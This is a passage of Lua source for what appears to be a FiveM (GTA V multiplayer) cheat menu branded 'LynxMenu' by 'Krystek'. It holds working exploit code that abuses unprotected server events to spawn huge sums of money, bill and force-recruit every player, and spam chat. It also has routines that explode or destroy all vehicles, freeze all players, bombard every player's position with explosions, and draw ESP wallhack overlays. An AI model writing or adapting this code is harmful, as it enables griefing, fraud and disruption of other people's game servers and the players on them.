  6822. SetEntityAsMissionEntity(ay, false, false)
  6823. StartVehicleAlarm(ay)
  6824. DetachVehicleWindscreen(ay)
  6825. SmashVehicleWindow(ay, 0)
  6826. SmashVehicleWindow(ay, 1)
  6827. SmashVehicleWindow(ay, 2)
  6828. SmashVehicleWindow(ay, 3)
  6829. SetVehicleTyreBurst(ay, 0, true, 1000.0)
  6830. SetVehicleTyreBurst(ay, 1, true, 1000.0)
  6831. SetVehicleTyreBurst(ay, 2, true, 1000.0)
  6832. SetVehicleTyreBurst(ay, 3, true, 1000.0)
  6833. SetVehicleTyreBurst(ay, 4, true, 1000.0)
  6834. SetVehicleTyreBurst(ay, 5, true, 1000.0)
  6835. SetVehicleTyreBurst(ay, 4, true, 1000.0)
  6836. SetVehicleTyreBurst(ay, 7, true, 1000.0)
  6837. SetVehicleDoorBroken(ay, 0, true)
  6838. SetVehicleDoorBroken(ay, 1, true)
  6839. SetVehicleDoorBroken(ay, 2, true)
  6840. SetVehicleDoorBroken(ay, 3, true)
  6841. SetVehicleDoorBroken(ay, 4, true)
  6842. SetVehicleDoorBroken(ay, 5, true)
  6843. SetVehicleDoorBroken(ay, 6, true)
  6844. SetVehicleDoorBroken(ay, 7, true)
  6845. SetVehicleLights(ay, 1)
  6846. Citizen.InvokeNative(0x1FD09E7390A74D54, ay, 1)
  6847. SetVehicleNumberPlateTextIndex(ay, 5)
  6848. SetVehicleNumberPlateText(ay, 'LynxMenu')
  6849. SetVehicleDirtLevel(ay, 10.0)
  6850. SetVehicleModColor_1(ay, 1)
  6851. SetVehicleModColor_2(ay, 1)
  6852. SetVehicleCustomPrimaryColour(ay, 255, 51, 255)
  6853. SetVehicleCustomSecondaryColour(ay, 255, 51, 255)
  6854. SetVehicleBurnout(ay, true)
  6855. end
  6856. end
  6857. end
  6858. if destroyvehicles then
  6859. for vehicle in EnumerateVehicles() do
  6860. if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
  6861. NetworkRequestControlOfEntity(vehicle)
  6862. SetVehicleUndriveable(vehicle, true)
  6863. SetVehicleEngineHealth(vehicle, 0)
  6864. end
  6865. end
  6866. end
  6867. if explodevehicles then
  6868. for vehicle in EnumerateVehicles() do
  6869. if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
  6870. NetworkRequestControlOfEntity(vehicle)
  6871. NetworkExplodeVehicle(vehicle, true, true, false)
  6872. end
  6873. end
  6874. end
  6875. if huntspam then
  6876. Citizen.Wait(1)
  6877. TriggerServerEvent('esx-qalle-hunting:reward', 20000)
  6878. TriggerServerEvent('esx-qalle-hunting:sell')
  6879. end
  6880. if deletenearestvehicle then
  6881. for vehicle in EnumerateVehicles() do
  6882. if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
  6883. SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true), 1, 1)
  6884. DeleteEntity(GetVehiclePedIsIn(vehicle, true))
  6885. SetEntityAsMissionEntity(vehicle, 1, 1)
  6886. DeleteEntity(vehicle)
  6887. end
  6888. end
  6889. end
  6890. if freezeplayer then
  6891. ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
  6892. end
  6893. if freezeall then
  6894. for i = 0, 128 do
  6895. ClearPedTasksImmediately(GetPlayerPed(i))
  6896. end
  6897. end
  6898. if esp then
  6899. for i = 0, 128 do
  6900. if i ~= PlayerId(-1) and GetPlayerServerId(i) ~= 0 then
  6901. local a8 = k(1.0)
  6902. local d7 = GetPlayerPed(i)
  6903. local d8, d9, da = table.unpack(GetEntityCoords(PlayerPedId(-1)))
  6904. local x, y, z = table.unpack(GetEntityCoords(d7))
  6905. local db =
  6906. '~h~Name: ' ..
  6907. GetPlayerName(i) ..
  6908. '\nServer ID: ' ..
  6909. GetPlayerServerId(i) ..
  6910. '\nPlayer ID: ' ..
  6911. i ..
  6912. '\nDist: ' ..
  6913. math.round(GetDistanceBetweenCoords(d8, d9, da, x, y, z, true), 1)
  6914. if IsPedInAnyVehicle(d7, true) then
  6915. local dc =
  6916. GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(d7))))
  6917. db = db .. '\nVeh: ' .. dc
  6918. end
  6919. if espinfo and esp then
  6920. DrawText3D(x, y, z - 1.0, db, a8.r, a8.g, a8.b)
  6921. end
  6922. if espbox and esp then
  6923. LineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  6924. LineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  6925. LineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  6926. LineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  6927. LineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  6928. LineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
  6929. LineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  6930. TLineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  6931. TLineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  6932. TLineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  6933. TLineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  6934. TLineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  6935. TLineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
  6936. TLineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  6937. ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
  6938. ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
  6939. ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  6940. ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  6941. ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  6942. ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  6943. ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  6944. ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  6945. DrawLine(
  6946. LineOneBegin.x,
  6947. LineOneBegin.y,
  6948. LineOneBegin.z,
  6949. LineOneEnd.x,
  6950. LineOneEnd.y,
  6951. LineOneEnd.z,
  6952. a8.r,
  6953. a8.g,
  6954. a8.b,
  6955. 255
  6956. )
  6957. DrawLine(
  6958. LineTwoBegin.x,
  6959. LineTwoBegin.y,
  6960. LineTwoBegin.z,
  6961. LineTwoEnd.x,
  6962. LineTwoEnd.y,
  6963. LineTwoEnd.z,
  6964. a8.r,
  6965. a8.g,
  6966. a8.b,
  6967. 255
  6968. )
  6969. DrawLine(
  6970. LineThreeBegin.x,
  6971. LineThreeBegin.y,
  6972. LineThreeBegin.z,
  6973. LineThreeEnd.x,
  6974. LineThreeEnd.y,
  6975. LineThreeEnd.z,
  6976. a8.r,
  6977. a8.g,
  6978. a8.b,
  6979. 255
  6980. )
  6981. DrawLine(
  6982. LineThreeEnd.x,
  6983. LineThreeEnd.y,
  6984. LineThreeEnd.z,
  6985. LineFourBegin.x,
  6986. LineFourBegin.y,
  6987. LineFourBegin.z,
  6988. a8.r,
  6989. a8.g,
  6990. a8.b,
  6991. 255
  6992. )
  6993. DrawLine(
  6994. TLineOneBegin.x,
  6995. TLineOneBegin.y,
  6996. TLineOneBegin.z,
  6997. TLineOneEnd.x,
  6998. TLineOneEnd.y,
  6999. TLineOneEnd.z,
  7000. a8.r,
  7001. a8.g,
  7002. a8.b,
  7003. 255
  7004. )
  7005. DrawLine(
  7006. TLineTwoBegin.x,
  7007. TLineTwoBegin.y,
  7008. TLineTwoBegin.z,
  7009. TLineTwoEnd.x,
  7010. TLineTwoEnd.y,
  7011. TLineTwoEnd.z,
  7012. a8.r,
  7013. a8.g,
  7014. a8.b,
  7015. 255
  7016. )
  7017. DrawLine(
  7018. TLineThreeBegin.x,
  7019. TLineThreeBegin.y,
  7020. TLineThreeBegin.z,
  7021. TLineThreeEnd.x,
  7022. TLineThreeEnd.y,
  7023. TLineThreeEnd.z,
  7024. a8.r,
  7025. a8.g,
  7026. a8.b,
  7027. 255
  7028. )
  7029. DrawLine(
  7030. TLineThreeEnd.x,
  7031. TLineThreeEnd.y,
  7032. TLineThreeEnd.z,
  7033. TLineFourBegin.x,
  7034. TLineFourBegin.y,
  7035. TLineFourBegin.z,
  7036. a8.r,
  7037. a8.g,
  7038. a8.b,
  7039. 255
  7040. )
  7041. DrawLine(
  7042. ConnectorOneBegin.x,
  7043. ConnectorOneBegin.y,
  7044. ConnectorOneBegin.z,
  7045. ConnectorOneEnd.x,
  7046. ConnectorOneEnd.y,
  7047. ConnectorOneEnd.z,
  7048. a8.r,
  7049. a8.g,
  7050. a8.b,
  7051. 255
  7052. )
  7053. DrawLine(
  7054. ConnectorTwoBegin.x,
  7055. ConnectorTwoBegin.y,
  7056. ConnectorTwoBegin.z,
  7057. ConnectorTwoEnd.x,
  7058. ConnectorTwoEnd.y,
  7059. ConnectorTwoEnd.z,
  7060. a8.r,
  7061. a8.g,
  7062. a8.b,
  7063. 255
  7064. )
  7065. DrawLine(
  7066. ConnectorThreeBegin.x,
  7067. ConnectorThreeBegin.y,
  7068. ConnectorThreeBegin.z,
  7069. ConnectorThreeEnd.x,
  7070. ConnectorThreeEnd.y,
  7071. ConnectorThreeEnd.z,
  7072. a8.r,
  7073. a8.g,
  7074. a8.b,
  7075. 255
  7076. )
  7077. DrawLine(
  7078. ConnectorFourBegin.x,
  7079. ConnectorFourBegin.y,
  7080. ConnectorFourBegin.z,
  7081. ConnectorFourEnd.x,
  7082. ConnectorFourEnd.y,
  7083. ConnectorFourEnd.z,
  7084. a8.r,
  7085. a8.g,
  7086. a8.b,
  7087. 255
  7088. )
  7089. end
  7090. if esplines and esp then
  7091. DrawLine(d8, d9, da, x, y, z, a8.r, a8.g, a8.b, 255)
  7092. end
  7093. end
  7094. end
  7095. end
  7096. if VehGod and IsPedInAnyVehicle(PlayerPedId(-1), true) then
  7097. SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId(-1)), true)
  7098. end
  7099. if oneshot then
  7100. SetPlayerWeaponDamageModifier(PlayerId(-1), 100.0)
  7101. local dd = getEntity(PlayerId(-1))
  7102. if IsEntityAPed(dd) then
  7103. if IsPedInAnyVehicle(dd, true) then
  7104. if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
  7105. if IsControlJustReleased(1, 69) then
  7106. NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
  7107. end
  7108. else
  7109. if IsControlJustReleased(1, 142) then
  7110. NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
  7111. end
  7112. end
  7113. end
  7114. end
  7115. else
  7116. SetPlayerWeaponDamageModifier(PlayerId(-1), 1.0)
  7117. end
  7118. if rainbowf then
  7119. for i = 1, 7 do
  7120. Citizen.Wait(100)
  7121. SetPedWeaponTintIndex(GetPlayerPed(-1), 1198879012, i)
  7122. i = i + 1
  7123. if i == 7 then
  7124. i = 1
  7125. end
  7126. end
  7127. end
  7128. if BlowDrugsUp then
  7129. Citizen.CreateThread(
  7130. function()
  7131. TriggerServerEvent('esx_drugs:startHarvestWeed')
  7132. TriggerServerEvent('esx_drugs:startHarvestCoke')
  7133. TriggerServerEvent('esx_drugs:startHarvestMeth')
  7134. TriggerServerEvent('esx_drugs:startHarvestOpium')
  7135. TriggerServerEvent('esx_drugs:startTransformWeed')
  7136. TriggerServerEvent('esx_drugs:startTransformCoke')
  7137. TriggerServerEvent('esx_drugs:startTransformMeth')
  7138. TriggerServerEvent('esx_drugs:startTransformOpium')
  7139. TriggerServerEvent('esx_drugs:startSellWeed')
  7140. TriggerServerEvent('esx_drugs:startSellCoke')
  7141. TriggerServerEvent('esx_drugs:startSellMeth')
  7142. TriggerServerEvent('esx_drugs:startSellOpium')
  7143. Citizen.Wait(1000)
  7144. end
  7145. )
  7146. end
  7147.  
  7148. if GlitchRPblack then
  7149. Citizen.CreateThread(
  7150. function()
  7151. TriggerServerEvent('drugs:sell')
  7152. TriggerServerEvent('esx_drugs:startHarvestMeth')
  7153. TriggerServerEvent('esx_drugs:startTransformMeth')
  7154. TriggerServerEvent('esx_drugs:startSellMeth')
  7155. Citizen.Wait(10000)
  7156. end
  7157. )
  7158. end
  7159.  
  7160. if LimitRpkurier then
  7161. Citizen.CreateThread(
  7162. function()
  7163. --TriggerServerEvent('esx_kurier:StartHarvestMedic2')
  7164. TriggerServerEvent('esx_kurier:sellkartaems2')
  7165. Citizen.Wait(1000)
  7166. end
  7167. )
  7168. end
  7169.  
  7170. if MustGornik then
  7171. Citizen.CreateThread(
  7172. function()
  7173. --TriggerServerEvent("route68_miner_job:givestone")
  7174. --TriggerServerEvent("route68_miner_job:washing")
  7175. --TriggerServerEvent("route68_miner_job:remelting")
  7176. --TriggerServerEvent("route68_miner_job:selldiamond")
  7177. --TriggerServerEvent("route68_miner_job:sellgold")
  7178. --TriggerServerEvent("route68_miner_job:selliron")
  7179. --TriggerServerEvent("route68_miner_job:sellcopper")
  7180. TriggerServerEvent('MustKurier:Zaplata')
  7181. Citizen.Wait(10)
  7182. end
  7183. )
  7184. end
  7185.  
  7186. if blowall then
  7187. for bD = 0, 9 do
  7188. TriggerServerEvent(
  7189. '_chat:messageEntered',
  7190. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  7191. {
  7192. 141,
  7193. 211,
  7194. 255
  7195. },
  7196. '^' .. bD .. 'Kocham Was :D'
  7197. )
  7198. end
  7199. for i = 0, 128 do
  7200. Citizen.Wait(500)
  7201. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0)
  7202. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
  7203. end
  7204. end
  7205. if crosshair then
  7206. ShowHudComponentThisFrame(14)
  7207. end
  7208. if crosshairc then
  7209. bz('~r~+', 0.495, 0.484)
  7210. end
  7211. if crosshairc2 then
  7212. bz('~r~.', 0.4968, 0.478)
  7213. end
  7214. if cN then
  7215. local de = false
  7216. local df = 130
  7217. local dg = 0
  7218. for f = 0, 128 do
  7219. if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
  7220. ped = GetPlayerPed(f)
  7221. blip = GetBlipFromEntity(ped)
  7222. x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  7223. x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
  7224. distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
  7225. if de then
  7226. if NetworkIsPlayerTalking(f) then
  7227. local dh = k(1.0)
  7228. DrawText3D(
  7229. x2,
  7230. y2,
  7231. z2 + 1.2,
  7232. GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
  7233. dh.r,
  7234. dh.g,
  7235. dh.b
  7236. )
  7237. else
  7238. DrawText3D(
  7239. x2,
  7240. y2,
  7241. z2 + 1.2,
  7242. GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
  7243. 255,
  7244. 255,
  7245. 255
  7246. )
  7247. end
  7248. end
  7249. if distance < df then
  7250. if not de then
  7251. if NetworkIsPlayerTalking(f) then
  7252. local dh = k(1.0)
  7253. DrawText3D(
  7254. x2,
  7255. y2,
  7256. z2 + 1.2,
  7257. GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
  7258. dh.r,
  7259. dh.g,
  7260. dh.b
  7261. )
  7262. else
  7263. DrawText3D(
  7264. x2,
  7265. y2,
  7266. z2 + 1.2,
  7267. GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
  7268. 255,
  7269. 255,
  7270. 255
  7271. )
  7272. end
  7273. end
  7274. end
  7275. end
  7276. end
  7277. end
  7278. if showCoords then
  7279. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  7280. roundx = tonumber(string.format('%.2f', x))
  7281. roundy = tonumber(string.format('%.2f', y))
  7282. roundz = tonumber(string.format('%.2f', z))
  7283. bz('~h~<FONT COLOR="#00FFFF">X:~s~ ' .. roundx, 0.40, 0.00)
  7284. bz('~h~<FONT COLOR="#00FFFF">Y:~s~ ' .. roundy, 0.48, 0.00)
  7285. bz('~h~<FONT COLOR="#00FFFF">Z:~s~ ' .. roundz, 0.56, 0.00)
  7286. end
  7287.  
  7288. if showinfo2 then
  7289. bz('~h~<FONT COLOR="#00FFFF"> ∑ discord.gg/3MxhKhR ∑ ', 0.00, 0.32)
  7290. bz('~h~~b~ ∑ Menu by Krystek ∑ ', 0.00, 0.35)
  7291. bz('~y~~h~ ∑ Twoje id ~w~: ~p~~h~' .. GetPlayerServerId(PlayerId()) .. ' ~y~~h~∑', 0.00, 0.38)
  7292. bz('~h~<FONT COLOR="#23FF00"> ∑ ' .. GetPlayerName(PlayerId(-1)) .. ' : Konto Steam/SocialClub ∑ ~w~¦', 0.00, 0.41)
  7293. end
  7294.  
  7295. function carthieftroll()
  7296. for i = 0, 128 do
  7297. local bK = GetEntityCoords(GetPlayerPed(i))
  7298. TriggerServerEvent('esx_carthief:alertcops', bK.x, bK.y, bK.z)
  7299. end
  7300. end
  7301.  
  7302. function automaticmoneyesx()
  7303. local m = KeyboardInput('UWAGA, wartosc moze sie sumowac!!!', '', 100)
  7304. if cO then
  7305. if m ~= '' then
  7306. local confirm = KeyboardInput('Jestes tego pewny? y/n', '', 0)
  7307. if confirm == 'y' then
  7308. end
  7309. av('~h~~g~Testowanie wszystkich ~y~ESX ~g~Triggerow~s~.', true)
  7310. TriggerServerEvent('esx_carthief:pay', m)
  7311. TriggerServerEvent('esx_jobs:caution', 'give_back', m)
  7312. TriggerServerEvent('esx_fueldelivery:pay', m)
  7313. TriggerServerEvent('esx_carthief:pay', m)
  7314. TriggerServerEvent('esx_godirtyjob:pay', m)
  7315. TriggerServerEvent('esx_pizza:pay', m)
  7316. TriggerServerEvent('esx_ranger:pay', m)
  7317. TriggerServerEvent('esx_garbagejob:pay', m)
  7318. TriggerServerEvent('esx_truckerjob:pay', m)
  7319. TriggerServerEvent('AdminMenu:giveBank', m)
  7320. TriggerServerEvent('AdminMenu:giveCash', m)
  7321. TriggerServerEvent('esx_gopostaljob:pay', m)
  7322. TriggerServerEvent('esx_banksecurity:pay', m)
  7323. TriggerServerEvent('esx_slotmachine:sv:2', m)
  7324. TriggerServerEvent('scratchoffs:dispenseReward', m)
  7325. elseif confirm == 'n' then
  7326. av('~h~~b~Anulowano~s~.', false)
  7327. else
  7328. av('~h~~b~Niepoprawna kwota~s~.', true)
  7329. av('~h~~b~Proba anulowana~s~.', false)
  7330. end
  7331. end
  7332. end
  7333.  
  7334. function vrpdestroy()
  7335. for bD = 0, 9 do
  7336. TriggerServerEvent(
  7337. '_chat:messageEntered',
  7338. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  7339. {
  7340. 141,
  7341. 211,
  7342. 255
  7343. },
  7344. '^' .. bD .. 'Kocham Was :D'
  7345. )
  7346. end
  7347. TriggerServerEvent(
  7348. 'lscustoms:payGarage',
  7349. {
  7350. costs = -99999999
  7351. }
  7352. )
  7353. TriggerServerEvent('vrp_slotmachine:server:2', 999999999)
  7354. TriggerServerEvent('Banca:deposit', 999999999)
  7355. TriggerServerEvent('bank:deposit', 999999999)
  7356. local di = GetPlayerServerId(PlayerId())
  7357. for i = 0, 128 do
  7358. TriggerEvent('bank:transfer', di, GetPlayerServerId(i), 99999999)
  7359. end
  7360. end
  7361. if bv then
  7362. esxdestroyv2()
  7363. nukeserver()
  7364. end
  7365.  
  7366. function esxdestroyv2()
  7367. Citizen.CreateThread(
  7368. function()
  7369. TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
  7370. TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
  7371. TriggerServerEvent('esx_carthief:pay', 9999999999)
  7372. TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
  7373. TriggerServerEvent('esx_pizza:pay', 9999999999)
  7374. TriggerServerEvent('esx_ranger:pay', 9999999999)
  7375. TriggerServerEvent('esx_garbagejob:pay', 9999999999)
  7376. TriggerServerEvent('esx_truckerjob:pay', 9999999999)
  7377. TriggerServerEvent('AdminMenu:giveBank', 9999999999)
  7378. TriggerServerEvent('AdminMenu:giveCash', 9999999999)
  7379. TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
  7380. TriggerServerEvent('esx_banksecurity:pay', 9999999999)
  7381. TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
  7382. for bD = 0, 9 do
  7383. TriggerServerEvent(
  7384. '_chat:messageEntered',
  7385. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  7386. {
  7387. 141,
  7388. 211,
  7389. 255
  7390. },
  7391. '^' .. bD .. 'Kocham Was :D'
  7392. )
  7393. end
  7394. for i = 0, 128 do
  7395. TriggerServerEvent(
  7396. 'esx:giveInventoryItem',
  7397. GetPlayerServerId(i),
  7398. 'item_money',
  7399. 'money',
  7400. 1254756
  7401. )
  7402. TriggerServerEvent(
  7403. 'esx:giveInventoryItem',
  7404. GetPlayerServerId(i),
  7405. 'item_money',
  7406. 'money',
  7407. 1254756
  7408. )
  7409. TriggerServerEvent(
  7410. 'esx_billing:sendBill',
  7411. GetPlayerServerId(i),
  7412. 'Purposeless',
  7413. 'Kocham Was :D',
  7414. 43161337
  7415. )
  7416. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
  7417. TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
  7418. end
  7419. end
  7420. )
  7421. end
  7422.  
  7423. function giveeveryone()
  7424. Citizen.CreateThread(
  7425. function()
  7426. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7427. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7428. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7429. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7430. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7431. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7432. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7433. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7434. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7435. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7436. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7437. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7438. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7439. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7440. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7441. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7442. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7443. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7444. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7445. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7446. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7447. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7448. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7449. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7450. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7451. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7452. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7453. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7454. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7455. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7456. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7457. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7458. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7459. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7460. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7461. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7462. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7463. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7464. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7465. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7466. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7467. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7468. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7469. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7470. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7471. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7472. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7473. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7474. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7475. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7476. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7477. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7478. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7479. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7480. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7481. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7482. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7483. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7484. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7485. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7486. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7487. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7488. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7489. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7490. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7491. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7492. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7493. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7494. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7495. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7496. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7497. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7498. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7499. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7500. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7501. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7502. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7503. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7504. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7505. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7506. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7507. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7508. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7509. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7510. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7511. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7512. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7513. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7514. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7515. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7516. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7517. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7518. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7519. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7520. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7521. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7522. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7523. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7524. TriggerServerEvent("tostzdrapka:wygrankopremium")
  7525. --TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
  7526. --TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
  7527. --TriggerServerEvent('esx_carthief:pay', 9999999999)
  7528. --TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
  7529. --TriggerServerEvent('esx_pizza:pay', 9999999999)
  7530. --TriggerServerEvent('esx_ranger:pay', 9999999999)
  7531. --TriggerServerEvent('esx_garbagejob:pay', 9999999999)
  7532. --TriggerServerEvent('esx_truckerjob:pay', 9999999999)
  7533. --TriggerServerEvent('AdminMenu:giveBank', 9999999999)
  7534. --TriggerServerEvent('AdminMenu:giveCash', 9999999999)
  7535. --TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
  7536. --TriggerServerEvent('esx_banksecurity:pay', 9999999999)
  7537. --TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
  7538. for i = 0, 128 do
  7539. TriggerServerEvent(
  7540. 'esx:giveInventoryItem',
  7541. GetPlayerServerId(i),
  7542. 'item_money',
  7543. 'money',
  7544. 125475600
  7545. )
  7546. TriggerServerEvent(
  7547. 'esx:giveInventoryItem',
  7548. GetPlayerServerId(i),
  7549. 'item_money',
  7550. 'money',
  7551. 125475600
  7552. )
  7553. end
  7554. end
  7555. )
  7556. end
  7557.  
  7558. function giveeveryonepower()
